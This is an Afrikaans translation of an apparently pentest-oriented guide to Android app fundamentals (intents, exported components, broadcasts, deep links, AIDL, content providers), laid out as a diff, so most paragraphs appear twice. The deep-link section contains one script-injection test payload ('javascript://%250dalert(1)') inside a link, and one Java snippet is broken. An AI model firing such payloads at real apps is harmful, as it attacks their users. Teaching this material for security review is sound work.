In Android-ontwikkeling word **Java of Kotlin** gebruik om programme te skep. In plaas van die JVM soos in lessenaar programme, kompileer Android hierdie kode na **Dalvik Uitvoerbare (DEX) bytekode**. Vroeër het die Dalvik virtuele masjien hierdie bytekode hanteer, maar nou neem die Android Runtime (ART) oor in nuwer Android-weergawes.
|
||||
In Android ontwikkeling, **Java of Kotlin** word gebruik om apps te skep. In plaas daarvan om die JVM soos in lessenaar apps te gebruik, compileer Android hierdie kode in **Dalvik Executable (DEX) bytecode**. Eerder het die Dalvik virtuele masjien hierdie bytecode hanteer, maar nou neem die Android Runtime (ART) oor in nuwer Android weergawes.
|
||||
|
||||
Vir omgekeerde ingenieurswese word **Smali** noodsaaklik. Dit is die mens-leesbare weergawe van DEX bytekode, wat soos samestellingskode optree deur bronkode na bytekode-instruksies te vertaal. Smali en baksmali verwys na die samestellings- en ontsameleerhulpmiddels in hierdie konteks.
|
||||
Vir omgekeerde ingenieurswese, word **Smali** noodsaaklik. Dit is die menslike leesbare weergawe van DEX bytecode, wat soos assembly taal optree deur bronkode in bytecode instruksies te vertaal. Smali en baksmali verwys na die samestelling en ontbinding gereedskap in hierdie konteks.
|
||||
|
||||
## Intents
|
||||
|
||||
Intents is die primêre manier waarop Android-programme kommunikeer tussen hul komponente of met ander programme. Hierdie boodskapvoorwerpe kan ook data tussen programme of komponente dra, soortgelyk aan hoe GET/POST-versoeke in HTTP-kommunikasie gebruik word.
|
||||
Intents is die primêre middel waardeur Android apps tussen hul komponente of met ander apps kommunikeer. Hierdie boodskapobjekte kan ook data tussen apps of komponente dra, soortgelyk aan hoe GET/POST versoeke in HTTP kommunikasies gebruik word.
|
||||
|
||||
Dus is 'n Intent basies 'n **boodskap wat tussen komponente deurgegee word**. Intents **kan gerig word** aan spesifieke komponente of programme, **of sonder 'n spesifieke ontvanger gestuur word**.\
|
||||
So 'n Intent is basies 'n **boodskap wat tussen komponente oorgedra word**. Intents **kan gerig word** na spesifieke komponente of apps, **of kan sonder 'n spesifieke ontvanger gestuur word**.\
|
||||
Om dit eenvoudig te stel, kan Intent gebruik word:
|
||||
|
||||
* Om 'n Aktiwiteit te begin, tipies deur 'n gebruikerskoppelvlak vir 'n app oop te maak
|
||||
* As uitsendings om die stelsel en programme van veranderinge in te lig
|
||||
* Om 'n agtergronddiens te begin, te stop en mee te kommunikeer
|
||||
* Om data via Inhoudsverskaffers te benader
|
||||
* As terugroep om gebeure te hanteer
|
||||
* Om 'n Aktiwiteit te begin, tipies 'n gebruikerskoppelvlak vir 'n app te open
|
||||
* As uitsendings om die stelsel en apps van veranderinge in kennis te stel
|
||||
* Om 'n agtergronddiens te begin, stop, en kommunikeer
|
||||
* Om toegang tot data via ContentProviders te verkry
|
||||
* As terugroep funksies om gebeurtenisse te hanteer
|
||||
|
||||
Indien kwesbaar, **kan Intents gebruik word om 'n verskeidenheid aan aanvalle uit te voer**.
|
||||
As kwesbaar, **kan Intents gebruik word om 'n verskeidenheid aanvalle uit te voer**.
|
||||
|
||||
### Intent-Filter
|
||||
|
||||
**Intent Filters** definieer **hoe 'n aktiwiteit, diens, of Uitsaai-Ontvanger met verskillende tipes Intents kan interaksie hê**. Essensieel beskryf hulle die vermoëns van hierdie komponente, soos watter aksies hulle kan uitvoer of die soorte uitsendings wat hulle kan verwerk. Die primêre plek om hierdie filters te verklaar is binne die **AndroidManifest.xml-lêer**, alhoewel dit ook 'n opsie is om hulle vir Uitsaai-Ontvangers te kodeer.
|
||||
**Intent Filters** definieer **hoe 'n aktiwiteit, diens, of Uitsend Ontvanger met verskillende tipes Intents kan kommunikeer**. Essensieel beskryf hulle die vermoëns van hierdie komponente, soos watter aksies hulle kan uitvoer of die tipes uitsendings wat hulle kan verwerk. Die primêre plek om hierdie filters te verklaar is binne die **AndroidManifest.xml lêer**, hoewel dit ook 'n opsie is om dit vir Uitsend Ontvangers te kodeer.
|
||||
|
||||
Intent Filters bestaan uit kategorieë, aksies, en datafilters, met die moontlikheid om addisionele metadata in te sluit. Hierdie opstelling maak dit moontlik vir komponente om spesifieke Intents te hanteer wat aan die verklaarde kriteria voldoen.
|
||||
Intent Filters bestaan uit kategorieë, aksies, en data filters, met die moontlikheid om addisionele metadata in te sluit. Hierdie opstelling laat komponente toe om spesifieke Intents te hanteer wat by die verklaarde kriteria pas.
|
||||
|
||||
'n Kritieke aspek van Android-komponente (aktiwiteite/dienste/inhoudsverskaffers/uitsaai-ontvangers) is hul sigbaarheid of **publieke status**. 'n Komponent word as publiek beskou en kan met ander programme interaksie hê as dit **`uitgevoer`** word met 'n waarde van **`waar`** of as 'n Intent Filter daarvoor verklaar word in die manifest. Daar is egter 'n manier vir ontwikkelaars om hierdie komponente eksplisiet privaat te hou, om te verseker dat hulle nie onbedoeld met ander programme interaksie hê nie. Dit word bereik deur die **`uitgevoer`** attribuut na **`vals`** in hul manifestdefinisies te stel.
|
||||
'n Kritieke aspek van Android komponente (aktiwiteite/dienste/inhoudverskaffers/uitsend ontvangers) is hul sigbaarheid of **publieke status**. 'n Komponent word as publiek beskou en kan met ander apps kommunikeer as dit **`exported`** is met 'n waarde van **`true`** of as 'n Intent Filter vir dit in die manifest verklaar is. Daar is egter 'n manier vir ontwikkelaars om hierdie komponente eksplisiet privaat te hou, wat verseker dat hulle nie onbedoeld met ander apps kommunikeer nie. Dit word bereik deur die **`exported`** attribuut op **`false`** in hul manifest definisies te stel.
|
||||
|
||||
Verder het ontwikkelaars die opsie om toegang tot hierdie komponente verder te beveilig deur spesifieke toestemmings te vereis. Die **`toestemming`** attribuut kan ingestel word om te verseker dat slegs programme met die aangewese toestemming die komponent kan benader, wat 'n ekstra laag van sekuriteit en beheer bied oor wie daarmee kan interaksie hê.
|
||||
Boonop het ontwikkelaars die opsie om toegang tot hierdie komponente verder te beveilig deur spesifieke toestemmings te vereis. Die **`permission`** attribuut kan gestel word om af te dwing dat slegs apps met die aangewese toestemming toegang tot die komponent kan verkry, wat 'n ekstra laag van sekuriteit en beheer oor wie met dit kan kommunikeer, toevoeg.
|
||||
```java
|
||||
<activity android:name=".MyActivity" android:exported="false">
|
||||
<!-- Intent filters go here -->
|
||||
</activity>
|
||||
```
|
||||
### Implisiete Intente
|
||||
### Implicit Intents
|
||||
|
||||
Intente word programmaties geskep deur 'n Intente-konstrukteur:
|
||||
Intents word programmaties geskep met behulp van 'n Intent-konstruktors:
|
||||
```java
|
||||
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||
```
|
||||
|
@ -163,50 +165,50 @@ Hierdie intent moet binne die manifest verklaar word soos in die volgende voorbe
|
|||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
'n Intent-filter moet die **aksie**, **data** en **kategorie** pas om 'n boodskap te ontvang.
|
||||
'n intent-filter moet die **aksie**, **data** en **kategorie** ooreenstem om 'n boodskap te ontvang.
|
||||
|
||||
Die "Intent resolusie" proses bepaal watter app elke boodskap moet ontvang. Hierdie proses oorweeg die **prioriteit atribuut**, wat in die **intent-filter verklaring** ingestel kan word, en **die een met die hoër prioriteit sal gekies word**. Hierdie prioriteit kan tussen -1000 en 1000 ingestel word en programme kan die `SYSTEM_HIGH_PRIORITY` waarde gebruik. As 'n **konflik** ontstaan, verskyn 'n "kieser" venster sodat die **gebruiker kan besluit**.
|
||||
Die "Intent resolusie" proses bepaal watter app elke boodskap moet ontvang. Hierdie proses oorweeg die **prioriteit eienskap**, wat in die i**ntent-filter verklaring** gestel kan word, en t**een met die hoër prioriteit sal gekies word**. Hierdie prioriteit kan tussen -1000 en 1000 gestel word en toepassings kan die `SYSTEM_HIGH_PRIORITY` waarde gebruik. As 'n **konflik** ontstaan, verskyn 'n "chooser" venster sodat die **gebruiker kan besluit**.
|
||||
|
||||
### Ewewydige Intents
|
||||
### Expliciete Intents
|
||||
|
||||
'n Ewewydige intent spesifiseer die klassenaam waarna dit mik:
|
||||
'n Expliciete intent spesifiseer die klasnaam wat dit teiken:
|
||||
```java
|
||||
Intent downloadIntent = new (this, DownloadService.class):
|
||||
```
|
||||
In ander toepassings om toegang te verkry tot die voorheen verklaarde bedoeling kan jy die volgende gebruik:
|
||||
In ander toepassings om toegang te verkry tot die voorheen verklaarde intent kan jy gebruik maak van:
|
||||
```java
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.other.app", "com.other.app.ServiceName");
|
||||
context.startService(intent);
|
||||
```
|
||||
### Afhangende Intente
|
||||
### Pending Intents
|
||||
|
||||
Hierdie maak dit vir ander toepassings moontlik om **optrede namens jou toepassing te neem**, met behulp van jou toep se identiteit en regte. Om 'n Afhangende Intent te konstrueer, moet daar 'n **intent en die optrede om uit te voer gespesifiseer word**. As die **verklaarde intent nie eksplisiet is** (nie verklaar watter intent dit kan aanroep nie), kan 'n **skadelike toepassing die verklaarde optrede uitvoer** namens die slagoffer-toep. Verder, **as 'n optrede nie gespesifiseer is nie**, sal die skadelike toep in staat wees om **enige optrede namens die slagoffer** uit te voer.
|
||||
Hierdie laat ander toepassings toe om **aksies namens jou toepassing te neem**, met jou app se identiteit en toestemmings. Om 'n Pending Intent te konstrueer, moet 'n **intent en die aksie wat uitgevoer moet word** gespesifiseer word. As die **verklaarde intent nie Eksplisiet** is (nie verklaar watter intent dit kan oproep nie), kan 'n **kwaadwillige toepassing die verklaarde aksie** namens die slagoffer-app uitvoer. Boonop, **as 'n aksie nie gespesifiseer is nie**, sal die kwaadwillige app in staat wees om **enige aksie namens die slagoffer** te doen.
|
||||
|
||||
### Uitsaai Intente
|
||||
### Broadcast Intents
|
||||
|
||||
In teenstelling met die vorige intente, wat slegs deur een toep ontvang word, kan uitsaai intente **deur verskeie toepassings ontvang word**. Vanaf API-weergawe 14 is dit egter **moontlik om die toep te spesifiseer wat die boodskap moet ontvang** deur Intent.setPackage te gebruik.
|
||||
Anders as die vorige intents, wat slegs deur een app ontvang word, **kan broadcast intents deur verskeie apps ontvang word**. egter, vanaf API weergawe 14, is dit **moontlik om die app wat die boodskap moet ontvang** te spesifiseer met behulp van Intent.set Package.
|
||||
|
||||
Alternatief is dit ook moontlik om 'n toestemming te **spesifiseer wanneer die uitsaai gedoen word**. Die ontvangende toep sal daardie toestemming moet hê.
|
||||
Alternatiewelik is dit ook moontlik om **'n toestemming te spesifiseer wanneer die broadcast gestuur word**. Die ontvangende app sal daardie toestemming moet hê.
|
||||
|
||||
Daar is **twee tipes** Uitsaai: **Normaal** (asinkronies) en **Gereëlde** (sistemies). Die **volgorde** is gebaseer op die **gekonfigureerde prioriteit binne die ontvanger** element. **Elke toep kan die Uitsaai verwerk, deurgee of laat val.**
|
||||
Daar is **twee tipes** Uitsendings: **Normaal** (asynchrone) en **Geordende** (sinchrone). Die **volgorde** is gebaseer op die **geconfigureerde prioriteit binne die ontvanger** element. **Elke app kan die Broadcast verwerk, oordra of laat val.**
|
||||
|
||||
Dit is moontlik om 'n **uitsaai** te **stuur** deur die funksie `sendBroadcast(intent, receiverPermission)` vanaf die `Context` klas te gebruik.\
|
||||
Jy kan ook die funksie **`sendBroadcast`** vanaf die **`LocalBroadCastManager`** gebruik om te verseker dat die **boodskap nooit die toep verlaat** nie. Deur dit te gebruik, hoef jy selfs nie 'n ontvangerkomponent uit te voer nie.
|
||||
Dit is moontlik om 'n **broadcast** te **stuur** met die funksie `sendBroadcast(intent, receiverPermission)` van die `Context` klas.\
|
||||
Jy kan ook die funksie **`sendBroadcast`** van die **`LocalBroadCastManager`** gebruik wat verseker dat die **boodskap nooit die app verlaat nie**. Deur dit te gebruik, sal jy selfs nie 'n ontvanger komponent hoef te eksport nie.
|
||||
|
||||
### Plakkerige Uitsaaie
|
||||
### Sticky Broadcasts
|
||||
|
||||
Hierdie tipe Uitsaaie **kan lank nadat hulle gestuur is, benader word**.\
|
||||
Hierdie is verouder in API-vlak 21 en dit word aanbeveel om **hulle nie te gebruik nie**.\
|
||||
**Hulle laat enige toepassing toe om die data te bespeur, maar ook om dit te wysig.**
|
||||
Hierdie soort Uitsendings **kan lank nadat hulle gestuur is, toeganklik wees**.\
|
||||
Hierdie is in API vlak 21 verouderd en dit word aanbeveel om **nie hulle te gebruik nie**.\
|
||||
**Hulle laat enige toepassing toe om die data te snuffel, maar ook om dit te wysig.**
|
||||
|
||||
As jy funksies vind wat die woord "plakkerig" bevat soos **`sendStickyBroadcast`** of **`sendStickyBroadcastAsUser`**, **ondersoek die impak en probeer om hulle te verwyder**.
|
||||
As jy funksies vind wat die woord "sticky" bevat soos **`sendStickyBroadcast`** of **`sendStickyBroadcastAsUser`**, **kontroleer die impak en probeer om hulle te verwyder**.
|
||||
|
||||
## Diep skakels / URL-skemas
|
||||
## Deep links / URL schemes
|
||||
|
||||
In Android-toepassings word **diep skakels** gebruik om 'n optrede (Intent) direk deur 'n URL te inisieer. Dit word gedoen deur 'n spesifieke **URL-skema** binne 'n aktiwiteit te verklaar. Wanneer 'n Android-toestel probeer om 'n URL met hierdie skema **te benader**, word die gespesifiseerde aktiwiteit binne die toepassing geopen.
|
||||
In Android-toepassings, **deep links** word gebruik om 'n aksie (Intent) direk deur 'n URL te begin. Dit word gedoen deur 'n spesifieke **URL skema** binne 'n aktiwiteit te verklaar. Wanneer 'n Android-toestel probeer om 'n **URL met hierdie skema te benader**, word die gespesifiseerde aktiwiteit binne die toepassing gelaai.
|
||||
|
||||
Die skema moet verklaar word in die **`AndroidManifest.xml`** lêer:
|
||||
Die skema moet in die **`AndroidManifest.xml`** lêer verklaar word:
|
||||
```xml
|
||||
[...]
|
||||
<activity android:name=".MyActivity">
|
||||
|
@ -218,7 +220,7 @@ Die skema moet verklaar word in die **`AndroidManifest.xml`** lêer:
|
|||
</intent-filter>
|
||||
[...]
|
||||
```
|
||||
Die skema van die vorige voorbeeld is `exampleapp://` (merk ook die **`kategorie BROWSABLE`**)
|
||||
Die skema van die vorige voorbeeld is `exampleapp://` (let ook op die **`category BROWSABLE`**)
|
||||
|
||||
Dan kan jy in die data veld die **host** en **path** spesifiseer:
|
||||
```xml
|
||||
|
@ -226,36 +228,36 @@ Dan kan jy in die data veld die **host** en **path** spesifiseer:
|
|||
android:host="example"
|
||||
/>
|
||||
```
|
||||
Om dit vanaf 'n web te benader, is dit moontlik om 'n skakel soos die volgende in te stel:
|
||||
Om dit vanaf 'n web te benader, is dit moontlik om 'n skakel soos:
|
||||
```xml
|
||||
<a href="examplescheme://example/something">click here</a>
|
||||
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
|
||||
```
|
||||
Om die **kode wat in die Toepassing uitgevoer sal word** te vind, gaan na die aktiwiteit wat deur die deeplink geroep word en soek die funksie **`onNewIntent`**.
|
||||
Om die **kode wat in die App uitgevoer sal word** te vind, gaan na die aktiwiteit wat deur die deeplink aangeroep word en soek die funksie **`onNewIntent`**.
|
||||
|
||||
Leer hoe om [diep skakels te roep sonder om HTML-bladsye te gebruik](./#exploiting-schemes-deep-links).
|
||||
Leer hoe om [deeplinks aan te roep sonder om HTML-bladsye te gebruik](./#exploiting-schemes-deep-links).
|
||||
|
||||
## AIDL - Android Interface Definition Language
|
||||
|
||||
Die **Android Interface Definition Language (AIDL)** is ontwerp om kommunikasie tussen klient en diens in Android-toepassings deur **interproses kommunikasie** (IPC) te fasiliteer. Aangesien direkte toegang tot 'n ander proses se geheue nie toegelaat word op Android nie, vereenvoudig AIDL die proses deur objekte in 'n formaat te marshal wat deur die bedryfstelsel verstaan word, en sodoende kommunikasie oor verskillende prosesse te vergemaklik.
|
||||
Die **Android Interface Definition Language (AIDL)** is ontwerp om kommunikasie tussen kliënt en diens in Android-toepassings te fasiliteer deur middel van **interprocess communication** (IPC). Aangesien dit nie toegelaat word om 'n ander proses se geheue direk op Android te benader nie, vereenvoudig AIDL die proses deur voorwerpe in 'n formaat te marshall wat deur die bedryfstelsel verstaan word, wat kommunikasie oor verskillende prosesse vergemaklik.
|
||||
|
||||
### Sleutelkonsepte
|
||||
|
||||
- **Gebinde Dienste**: Hierdie dienste maak gebruik van AIDL vir IPC, wat aktiwiteite of komponente in staat stel om aan 'n diens te bind, versoek te maak, en antwoorde te ontvang. Die `onBind`-metode in die diens se klas is krities vir die inisieer van interaksie, en dit word as 'n belangrike area vir sekuriteitsondersoek gemerk op soek na kwesbaarhede.
|
||||
- **Gekoppelde Dienste**: Hierdie dienste gebruik AIDL vir IPC, wat aktiwiteite of komponente in staat stel om aan 'n diens te bind, versoeke te maak en antwoorde te ontvang. Die `onBind` metode in die diens se klas is krities vir die inisiering van interaksie, wat dit 'n belangrike area maak vir sekuriteitsherziening in soek na kwesbaarhede.
|
||||
|
||||
- **Bode**: Wat as 'n gebinde diens funksioneer, fasiliteer Bode IPC met 'n fokus op die verwerking van data deur die `onBind`-metode. Dit is noodsaaklik om hierdie metode noukeurig te ondersoek vir enige onveilige datahantering of uitvoering van sensitiewe funksies.
|
||||
- **Messenger**: As 'n gekoppelde diens, fasiliteer Messenger IPC met 'n fokus op die verwerking van data deur die `onBind` metode. Dit is noodsaaklik om hierdie metode noukeurig te ondersoek vir enige onveilige datahantering of uitvoering van sensitiewe funksies.
|
||||
|
||||
- **Binder**: Alhoewel direkte gebruik van die Binder-klas minder algemeen is as gevolg van AIDL se abstraksie, is dit voordelig om te verstaan dat Binder as 'n kernelvlak drywer optree wat data-oordrag fasiliteer tussen die geheue-areas van verskillende prosesse. Vir verdere begrip is 'n hulpbron beskikbaar by [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
|
||||
- **Binder**: Alhoewel direkte gebruik van die Binder klas minder algemeen is weens AIDL se abstraksie, is dit voordelig om te verstaan dat Binder as 'n kernvlak bestuurder optree wat datatransfer tussen die geheue ruimtes van verskillende prosesse fasiliteer. Vir verdere begrip is 'n hulpbron beskikbaar by [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
|
||||
|
||||
## Komponente
|
||||
|
||||
Dit sluit in: **Aktiwiteite, Dienste, Uitsaai-Ontvangers en Verskaffers.**
|
||||
Hierdie sluit in: **Aktiwiteite, Dienste, Uitsendingsontvangers en Verskaffers.**
|
||||
|
||||
### Aanloopaktiwiteit en ander aktiwiteite
|
||||
### Laaier Aktiwiteit en ander aktiwiteite
|
||||
|
||||
In Android-toepassings is **aktiwiteite** soos skerms wat verskillende dele van die toepassing se gebruikerskoppelvlak vertoon. 'n Toepassing kan baie aktiwiteite hê, elkeen wat 'n unieke skerm aan die gebruiker voorstel.
|
||||
In Android-toepassings is **aktiwiteite** soos skerms, wat verskillende dele van die app se gebruikerskoppelvlak vertoon. 'n App kan baie aktiwiteite hê, elkeen wat 'n unieke skerm aan die gebruiker aanbied.
|
||||
|
||||
Die **aanloopaktiwiteit** is die hoofingang na 'n toepassing, wat geopen word wanneer jy op die toepassing se ikoon tik. Dit word in die toepassing se manifestlêer gedefinieer met spesifieke MAIN- en LAUNCHER-intente:
|
||||
Die **laaier aktiwiteit** is die hooftoegangspunt tot 'n app, wat gelaai word wanneer jy op die app se ikoon tik. Dit is gedefinieer in die app se manifeslêer met spesifieke MAIN en LAUNCHER intents:
|
||||
```markup
|
||||
<activity android:name=".LauncherActivity">
|
||||
<intent-filter>
|
||||
|
@ -264,19 +266,19 @@ Die **aanloopaktiwiteit** is die hoofingang na 'n toepassing, wat geopen word wa
|
|||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
Nie alle programme benodig 'n aanloopaktiwiteit nie, veral nie dié sonder 'n gebruikerskoppelvlak nie, soos agtergronddienste.
|
||||
Nie alle toepassings benodig 'n lanseeraktiwiteit nie, veral dié sonder 'n gebruikerskoppelvlak, soos agtergronddienste.
|
||||
|
||||
Aktiwiteite kan beskikbaar gestel word aan ander programme of prosesse deur hulle as "uitgevoer" in die manifest te merk. Hierdie instelling maak dit vir ander programme moontlik om hierdie aktiwiteit te begin:
|
||||
Aktiwiteite kan beskikbaar gestel word aan ander toepassings of prosesse deur dit as "geëksporteer" in die manifest te merk. Hierdie instelling laat ander toepassings toe om hierdie aktiwiteit te begin:
|
||||
```markdown
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
Togang tot 'n aktiwiteit vanuit 'n ander program is nie altyd 'n veiligheidsrisiko nie. Die bekommernis ontstaan as sensitiewe data verkeerd gedeel word, wat tot inligtingslekke kan lei.
|
||||
However, toegang tot 'n aktiwiteit van 'n ander app is nie altyd 'n sekuriteitsrisiko nie. Die bekommernis ontstaan as sensitiewe data onregmatig gedeel word, wat kan lei tot inligtingslekke.
|
||||
|
||||
Die lewensiklus van 'n aktiwiteit **begin met die onCreate metode**, wat die UI opstel en die aktiwiteit gereed maak vir interaksie met die gebruiker.
|
||||
'n Aktiwiteit se lewensiklus **begin met die onCreate-metode**, wat die UI opstel en die aktiwiteit voorberei vir interaksie met die gebruiker.
|
||||
|
||||
### Aansoek Subklas
|
||||
|
||||
In Android-ontwikkeling het 'n program die opsie om 'n **subklas** van die [Aansoek](https://developer.android.com/reference/android/app/Application) klas te skep, alhoewel dit nie verpligtend is nie. Wanneer so 'n subklas gedefinieer word, word dit die eerste klas wat binne die program geïnstantieer word. Die **`attachBaseContext`** metode, indien geïmplementeer in hierdie subklas, word uitgevoer voor die **`onCreate`** metode. Hierdie opstelling maak vroeë inisialisering moontlik voordat die res van die aansoek begin.
|
||||
In Android-ontwikkeling het 'n app die opsie om 'n **subklas** van die [Application](https://developer.android.com/reference/android/app/Application) klas te skep, alhoewel dit nie verpligtend is nie. Wanneer so 'n subklas gedefinieer word, word dit die eerste klas wat binne die app geïnstantieer word. Die **`attachBaseContext`** metode, indien geïmplementeer in hierdie subklas, word uitgevoer voordat die **`onCreate`** metode. Hierdie opstelling stel vroeë inisialisering in staat voordat die res van die aansoek begin.
|
||||
```java
|
||||
public class MyApp extends Application {
|
||||
@Override
|
||||
|
@ -294,31 +296,31 @@ super.onCreate();
|
|||
```
|
||||
### Dienste
|
||||
|
||||
[Dienste](https://developer.android.com/guide/components/services) is **agtergrondoperasies** wat in staat is om take uit te voer sonder 'n gebruikerskoppelvlak. Hierdie take kan voortgaan selfs wanneer gebruikers na verskillende toepassings oorskakel, wat dienste noodsaaklik maak vir **langdurige operasies**.
|
||||
[Dienste](https://developer.android.com/guide/components/services) is **agtergrond operasies** wat in staat is om take uit te voer sonder 'n gebruikerskoppelvlak. Hierdie take kan voortgaan om te loop selfs wanneer gebruikers na verskillende toepassings oorskakel, wat dienste noodsaaklik maak vir **langdurige operasies**.
|
||||
|
||||
Dienste is veelsydig; hulle kan op verskeie maniere geïnisieer word, met **Intents** as die primêre metode om hulle te begin as 'n toepassing se intreepunt. Wanneer 'n diens begin word met die `startService` metode, tree sy `onStart` metode in werking en bly loop totdat die `stopService` metode eksplisiet geroep word. Alternatiewelik, as 'n diens se rol afhanklik is van 'n aktiewe kliëntverbinding, word die `bindService` metode gebruik om die kliënt aan die diens te bind, wat die `onBind` metode betrek vir data-oordrag.
|
||||
Dienste is veelsydig; hulle kan op verskillende maniere geaktiveer word, met **Intents** as die primêre metode om hulle as 'n toepassing se toegangspunt te begin. Sodra 'n diens begin is met die `startService` metode, begin sy `onStart` metode werk en hou aan totdat die `stopService` metode eksplisiet aangeroep word. Alternatiewelik, as 'n diens se rol afhanklik is van 'n aktiewe kliëntverbinding, word die `bindService` metode gebruik om die kliënt aan die diens te bind, wat die `onBind` metode aktiveer vir dataverskuiwing.
|
||||
|
||||
'n Interessante toepassing van dienste sluit agtergrondmusiekspel of netwerkdata ophaling in sonder om die gebruiker se interaksie met 'n toepassing te belemmer. Verder kan dienste toeganklik gemaak word vir ander prosesse op dieselfde toestel deur **uitvoer**. Dit is nie die verstekgedrag nie en vereis eksplisiete konfigurasie in die Android Manifest-lêer:
|
||||
'n Interessante toepassing van dienste sluit agtergrondmusiekafspeel of netwerkdata-ophaal in sonder om die gebruiker se interaksie met 'n toepassing te hindern. Boonop kan dienste beskikbaar gemaak word vir ander prosesse op dieselfde toestel deur **uitvoer**. Dit is nie die standaardgedrag nie en vereis eksplisiete konfigurasie in die Android Manifest-lêer:
|
||||
```xml
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
### Uitsaai-Ontvangers
|
||||
### Broadcast Receivers
|
||||
|
||||
**Uitsaai-ontvangers** tree op as luisteraars in 'n boodskapsisteem, wat dit vir meerdere toepassings moontlik maak om op dieselfde boodskappe van die stelsel te reageer. 'n Toepassing kan 'n **ontvanger registreer** op **twee primêre maniere**: deur die toepassing se **Manifes** of **dinamies** binne die toepassing se kode via die **`registerReceiver`** API. In die Manifes word uitsendings gefiltreer met toestemmings, terwyl dinamies geregistreerde ontvangers ook toestemmings tydens registrasie kan spesifiseer.
|
||||
**Broadcast receivers** dien as luisteraars in 'n boodskapstelsel, wat verskeie toepassings toelaat om op dieselfde boodskappe van die stelsel te reageer. 'n App kan **'n ontvanger registreer** op **twee primêre maniere**: deur die app se **Manifest** of **dynamies** binne die app se kode via die **`registerReceiver`** API. In die Manifest word uitsendings gefiltreer met toestemmings, terwyl dinamies geregistreerde ontvangers ook toestemmings kan spesifiseer tydens registrasie.
|
||||
|
||||
**Intent-filters** is noodsaaklik in beide registrasiemetodes, wat bepaal watter uitsendings die ontvanger moet aktiveer. Sodra 'n ooreenstemmende uitsending gestuur word, word die ontvanger se **`onReceive`** metode aangeroep, wat die toepassing in staat stel om dienooreenkomstig te reageer, soos om gedrag aan te pas in reaksie op 'n lae batteryalarm.
|
||||
**Intent filters** is van kardinale belang in beide registrasiewyse, wat bepaal watter uitsendings die ontvanger aktiveer. Sodra 'n ooreenstemmende uitsending gestuur word, word die ontvanger se **`onReceive`** metode aangeroep, wat die app in staat stel om ooreenkomstig te reageer, soos om gedrag aan te pas in reaksie op 'n lae battery waarskuwing.
|
||||
|
||||
Uitsendings kan of **asinkronies** wees, wat al die ontvangers sonder orde bereik, of **sinkronies**, waar ontvangers die uitsending op grond van vasgestelde prioriteite ontvang. Dit is egter belangrik om die potensiële sekuriteitsrisiko in ag te neem, aangesien enige toepassing homself kan prioriteer om 'n uitsending te onderskep.
|
||||
Uitsendings kan **asynchrone** wees, wat alle ontvangers sonder volgorde bereik, of **synchronies**, waar ontvangers die uitsending ontvang op grond van gestelde prioriteite. Dit is egter belangrik om die potensiële sekuriteitsrisiko te noem, aangesien enige app homself kan prioriseer om 'n uitsending te onderskep.
|
||||
|
||||
Om 'n ontvanger se funksionaliteit te verstaan, soek na die **`onReceive`** metode binne sy klas. Hierdie metode se kode kan die ontvangende Intent manipuleer, wat die behoefte aan data-validasie deur ontvangers beklemtoon, veral in **Gereëlde Uitsendings**, wat die Intent kan wysig of laat val.
|
||||
Om 'n ontvanger se funksionaliteit te verstaan, soek die **`onReceive`** metode binne sy klas. Hierdie metode se kode kan die ontvangde Intent manipuleer, wat die behoefte aan datavalidatie deur ontvangers beklemtoon, veral in **Ordered Broadcasts**, wat die Intent kan wysig of laat val.
|
||||
|
||||
### Inhoudsverskaffer
|
||||
### Content Provider
|
||||
|
||||
**Inhoudsverskaffers** is noodsaaklik vir die **deel van gestruktureerde data** tussen toepassings, wat die belangrikheid beklemtoon van die implementering van **toestemmings** om data-sekuriteit te verseker. Hulle maak dit vir toepassings moontlik om data van verskeie bronne, insluitend databasisse, lêersisteme, of die web, te benader. Spesifieke toestemmings, soos **`readPermission`** en **`writePermission`**, is noodsaaklik vir die beheer van toegang. Daarbenewens kan tydelike toegang verleen word deur **`grantUriPermission`** instellings in die toepassing se manifest, wat aantreklike soos `path`, `pathPrefix`, en `pathPattern` benut vir gedetailleerde toegangsbeheer.
|
||||
**Content Providers** is noodsaaklik vir **die deel van gestruktureerde data** tussen toepassings, wat die belangrikheid van die implementering van **toestemmings** beklemtoon om datasekuriteit te verseker. Hulle laat toepassings toe om toegang te verkry tot data van verskeie bronne, insluitend databasisse, lêerstelsels, of die web. Spesifieke toestemmings, soos **`readPermission`** en **`writePermission`**, is noodsaaklik om toegang te beheer. Boonop kan tydelike toegang verleen word deur **`grantUriPermission`** instellings in die app se manifest, wat eienskappe soos `path`, `pathPrefix`, en `pathPattern` benut vir gedetailleerde toegangbeheer.
|
||||
|
||||
Invoer-validasie is van uiterste belang om kwesbaarhede, soos SQL-inspuiting, te voorkom. Inhoudsverskaffers ondersteun basiese operasies: `insert()`, `update()`, `delete()`, en `query()`, wat data-manipulasie en -deling tussen toepassings fasiliteer.
|
||||
Invoervalidasie is van kardinale belang om kwesbaarhede, soos SQL-inspuiting, te voorkom. Content Providers ondersteun basiese operasies: `insert()`, `update()`, `delete()`, en `query()`, wat datamanipulasie en -deling tussen toepassings fasiliteer.
|
||||
|
||||
**FileProvider**, 'n gespesialiseerde Inhoudsverskaffer, fokus op die veilige deel van lêers. Dit word in die toepassing se manifest gedefinieer met spesifieke aantreklike om toegang tot lêers te beheer, aangedui deur `android:exported` en `android:resource` wat na lêer-konfigurasies verwys. Voorsoorsigtigheid word aanbeveel wanneer dit kom by die deel van gids om blootstelling van sensitiewe data per ongeluk te vermy.
|
||||
**FileProvider**, 'n gespesialiseerde Content Provider, fokus op die veilige deel van lêers. Dit word in die app se manifest gedefinieer met spesifieke eienskappe om toegang tot vouers te beheer, aangedui deur `android:exported` en `android:resource` wat na vouer konfigurasies verwys. Versigtigheid word aanbeveel wanneer daar vouers gedeel word om te verhoed dat sensitiewe data per ongeluk blootgestel word.
|
||||
|
||||
Voorbeeld manifest verklaring vir FileProvider:
|
||||
```xml
|
||||
|
@ -330,49 +332,49 @@ android:exported="false">
|
|||
android:resource="@xml/filepaths" />
|
||||
</provider>
|
||||
```
|
||||
